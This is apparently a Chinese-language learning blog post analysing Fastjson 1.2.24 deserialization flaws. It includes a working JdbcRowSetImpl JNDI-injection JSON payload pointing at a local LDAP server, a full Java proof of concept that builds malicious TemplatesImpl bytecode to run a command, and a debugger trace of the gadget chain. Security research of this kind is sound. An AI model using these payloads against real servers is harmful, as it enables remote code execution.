前言
在学习反序列化的时候,我不禁会想,链子就算满天飞,但是可能现实中就是没有一个允许用户控制的反序列化的点来触发。
之前学习到的Shiro550是一个很好的点去承载我们的序列化数据,但是假如没有这么一个rememberMe这个功能,那么我们研究了这么久的反序列化就没有用武之地了。
而现在分析的fastjson,也是Java反序列化中很重要的一个组件
Fastjson
fastjson 是阿里巴巴的开源 JSON 解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。
序列化与反序列化
首先了解他的序列化与反序列化,他的使用十分的简单
1
2
3
4
5
6
7
|
//序列化 JavaBean -> JSON
String text = JSON.toJSONString(obj);
//反序列化 JSON -> JavaBean
VO vo = JSON.parse(); //解析为JSONObject类型或者JSONArray类型
VO vo = JSON.parseObject("{...}"); //JSON文本解析成JSONObject类型
VO vo = JSON.parseObject("{...}", VO.class); //JSON文本解析成VO.class类
|
做个简单演示
首先是导包,这里选择导入1.2.24版本的fastjson
1
2
3
4
5
6
7
|
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
</dependencies>
|
首先创建一个简单的UserBean
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
|
package jsontest;
public class user {
private String name;
private int age;
public user() {
}
public user(String name, int age) {
this.name = name;
this.age = age;
}
public String getName() {
System.out.println("调用了getName");
return name;
}
public void setName(String name) {
System.out.println("调用了setName");
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
@Override
public String toString() {
return "user{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
}
|
做一个序列化与反序列化的测试
使用toJSONString
把UserBean序列化成json,测试三种反序列化的方法
- JSON.parse(s1)
- JSON.parseObject(s1)
- JSON.parseObject(s1,Object.class)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
package jsontest;
import com.alibaba.fastjson.JSON;
public class json {
public static void main(String[] args) {
user user1 = new user("test",18);
//序列化
String serializedStr = JSON.toJSONString(user1);
System.out.println("serializedStr="+serializedStr);
//通过parse方法进行反序列化,返回的是一个JSONObject
System.out.println("-----------------------------------------------------");
Object obj1 = JSON.parse(serializedStr);
System.out.println("parse反序列化对象名称:"+obj1.getClass().getName());
System.out.println("parse反序列化:"+obj1);
//通过parseObject,不指定类,返回的是一个JSONObject
System.out.println("-----------------------------------------------------");
Object obj2 = JSON.parseObject(serializedStr);
System.out.println("parseObject反序列化对象名称:"+obj2.getClass().getName());
System.out.println("parseObject反序列化:"+obj2);
//通过parseObject,指定类后返回的是一个相应的类对象
System.out.println("-----------------------------------------------------");
Object obj3 = JSON.parseObject(serializedStr,user.class);
System.out.println("parseObject反序列化对象名称:"+obj3.getClass().getName());
System.out.println("parseObject反序列化:"+obj3);
}
}
|
运行结果
可以发现:
parse("")
会识别并调用目标类的特定 setter 方法及某些特定条件的 getter 方法
parseObject("")
会调用反序列化目标类的特定 setter 和 getter 方法(此处有的博客说是所有setter,个人测试返回String的setter是不行的,此处打个问号)
parseObject("",class)
会识别并调用目标类的特定 setter 方法及某些特定条件的 getter 方法
再测试一个SerializerFeature.WriteClassName
参数
添加了这个参数的话,会将对象类型一起序列化并且会写入到@type
字段中
1
|
String serializedStr=JSON.toJSONString(user,SerializerFeature.WriteClassName);
|
可以和前面运行的结果进行对比,这里执行parse
反序列化对象从JSONObject变成了我们自己编写的user类
所以这里出现了一个很敏感的问题,@type
为恶意类时,我们可以通过他的get或set方法去进行一些恶意的操作了
其中getter自动调用还需要满足以下条件:
- 方法名长度大于4
- 非静态方法
- 以get开头且第四个字母为大写
- 无参数传入
- 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong
setter自动调用需要满足以下条件:
- 方法名长度大于4
- 非静态方法
- 返回值为void或者当前类
- 以set开头且第四个字母为大写
- 参数个数为1个
除此之外Fastjson还有以下功能点:
- 如果目标类中私有变量没有setter方法,但是在反序列化时仍想给这个变量赋值,则需要使用
Feature.SupportNonPublicField
参数
- fastjson 在为类属性寻找getter/setter方法时,调用函数
com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch()
方法,会忽略_ -
字符串
- fastjson 在反序列化时,如果Field类型为byte[],将会调用
com.alibaba.fastjson.parser.JSONScanner#bytesValue
进行base64解码,在序列化时也会进行base64编码
下面就开始分析fastjson的安全相关的东西了,对于fastjson的攻击,这里有两个方式:
JNDI注入
JNDI注入利用链是通用性最强的利用方式,在以下三种反序列化中均可使用:
但是注意他对jdk有特殊的版本要求:jdk1.8.0_161 < 1.8u191
1
2
3
|
parse(jsonStr)
parseObject(jsonStr)
parseObject(jsonStr,Object.class)
|
这里JNDI注入利用到的是JdbcRowSetImpl
,我们跟进进行分析,我们在这个类里面全局搜索一下lookup
,可以发现在connet方法中进行了调用,参数从成员变量 dataSource
中获取
再去找一个setXxxx能到达这里的,在setAutoCommit
中发现了是调用了this.connect()
的
1
2
3
4
5
6
7
8
|
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}
}
|
那么就可以很简单的构造一个JSON序列化数据了
1
2
3
4
5
|
{
"@type":"com.sun.rowset.JdbcRowSetImpl", //调用com.sun.rowset.JdbcRowSetImpl函数中的
"dataSourceName":"ldap://127.0.0.1:1389/Exploit", // setdataSourceName函数 传入参数"ldap://127.0.0.1:1389/Exploit"
"autoCommit":true // 再调用setAutoCommit函数,传入true
}
|
本地测试起一个ldap服务,然后发起攻击即可
成功rce
TemplatesImpl
除了JNDI的注入,还可以使用TemplateImpl进行字节码的加载,但是条件比较苛刻
- 服务端使用parseObject()时,必须使用如下格式才能触发漏洞:
JSON.parseObject(input, Object.class, Feature.SupportNonPublicField);
- 服务端使用parse()时,需要
JSON.parse(text1,Feature.SupportNonPublicField);
因为payload需要赋值的一些属性为private属性,服务端必须添加特性才回去从json中恢复private属性的数据
之前分析的TemplateImpl的时候,他利用链的最外层是一个getOutputProperties
,但是parse进行自动调用的是setXxxx,那么我们就得想办法去找到一个setXxxx调用,为了搞懂我直接搬了个POC然后调试去跟一下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
|
package jsontest;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.codec.binary.Base64;
public class testTemplateimpl {
//最终执行payload的类的原始模型
//ps.要payload在static模块中执行的话,原始模型需要用static方式。
public static class lala{
}
//返回一个在实例化过程中执行任意代码的恶意类的byte码
//如果对于这部分生成原理不清楚,参考以前的文章
public static byte[] getevilbyte() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.get(lala.class.getName());
//要执行的最终命令
String cmd = "java.lang.Runtime.getRuntime().exec(\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\");";
//之前说的静态初始化块和构造方法均可,这边用静态方法
cc.makeClassInitializer().insertBefore(cmd);
// CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);
// cons.setBody("{"+cmd+"}");
// cc.addConstructor(cons);
//设置不重复的类名
String randomClassName = "LaLa"+System.nanoTime();
cc.setName(randomClassName);
//设置满足条件的父类
cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));
//获取字节码
byte[] lalaByteCodes = cc.toBytecode();
return lalaByteCodes;
}
//生成payload,触发payload
public static void poc() throws Exception {
//生成攻击payload
byte[] evilCode = getevilbyte();//生成恶意类的字节码
String evilCode_base64 = Base64.encodeBase64String(evilCode);//使用base64封装
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{"+
"\"@type\":\"" + NASTY_CLASS +"\","+
"\"_bytecodes\":[\""+evilCode_base64+"\"],"+
"'_name':'a.b',"+
"'_tfactory':{ },"+
"'_outputProperties':{ }"+
"}\n";
//此处删除了一些我觉得没有用的参数(第二个_name,_version,allowedProtocols),并没有发现有什么影响
System.out.println(text1);
//服务端触发payload
ParserConfig config = new ParserConfig();
Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
}
//main函数调用以下poc而已
public static void main(String args[]){
try {
poc();
} catch (Exception e) {
e.printStackTrace();
}
}
}
|
先摆出调用栈
我们直接从parseObject开始分析,这里实例化了一个DefaultJSONParser,把input也就是我们的payload载入了,然后执行了他的parseObject
方法
跟进DefaultJSONParser的parseObject,return了一个JavaObjectDeserializer的deserialze方法,把本类传入,也就自带了我们的payload进去
继续跟进,这里执行了一个三元运算符,里面有个点是触发DefaultJSONParser的parser方法,但是要求前面的判断为false,这里有一个点是type != Object.class
而回到我们的POC里,可以看到我们确实赋值了第二个参数为Object.class(第二个参数最后会传递成这里的type
1
2
|
Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
|
那么我们就能如愿回到DefaultJSONParser进入parser方法
在这个方法之前,我们先看看一个变量lexer
,由于我们传入的json数据,所以这里lexer.token
会被赋值为12
再去parser方法里看,由于我们的token为12,所以走进这里,调用parseObject
跟进parseObject,他会识别@type
,然后提取出我们输入的 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
,作为变量clazz
这里再执行了一个getDeserializer
并且把clazz传入
这里跟进去getDeserializer
,调用重载
继续往下走,调用到了一个createJavaBeanDeserializer
继续往下走,调用了JavaBeanInfo.build
,clazz和type持续传递中
这里就到了一个循环里面,循环获取他的setXxxx方法,可以看到如果以_
开头,他会有所处理,这就和前面说的fastjson的特性一样
这里是一样的,循环获取getXxxx
把所有的setter和getter方法全部存入fieldList
,最后return一个JavaBeanInfo
再回到parseObject,执行刚刚返回的deserializer的deserialza方法
重载了几次deserialze进入最终的deserialze,这里Object
通过反射获取到TemplateImpl的实例
实例化TemplateImpl作为object
这里解释一下这个循环,他是利用了这个循环,把JSON中的每一个属性放进反序列化出来的类中,变成完整的、与JSON数据对应的类
最后把参数代入,走进parseField
方法里面
跟进parseField方法,这里实例化了一个DefaultFieldDeserializer
,然后再执行DefaultFieldDeserializer的parseField
方法
继续跟进DefaultFieldDeserializer的parseField方法,这里就涉及到我们TemplateImpl实例的内容了,看看他是如何一步步把数据从JSON中还原出Object
这里最后执行的this.fieldValueDeserilizer.deserialze
跟进去看,首先定义了一个空数组,然后执行了parser.parseArray
跟进parseArray,这里执行了array.add
,把_bytycode给加进去了,那么他add的val是怎么来的我们得跟一下前面的deserialze
进去关注到这个函数bytesValue
他会把我们的bytecode给base64解码,这也解释了我们为啥要把他base64给编码了
return了我们解码了的bytecode,然后add进数组
最后再回到前面,执行this.toObjectArray(parser, componentClass, array)
这里就把bytecode给放入array了
再回去得到返回值,赋值给value
那么到最后这里就解释的通了,执行了一个setValue
,传入的Object是TemplateImpl
,value为我们的bytecode
然后就到了invoke了,执行TemplateImpl的getOutputProperties
后面的就不多说了,直接TemplateImpl一波了
后记
准备搓一个思维导图,先留个坑吧
参考文章:
https://tttang.com/archive/1579/
https://xz.aliyun.com/t/7027
https://www.cnblogs.com/nice0e3/p/14601670.html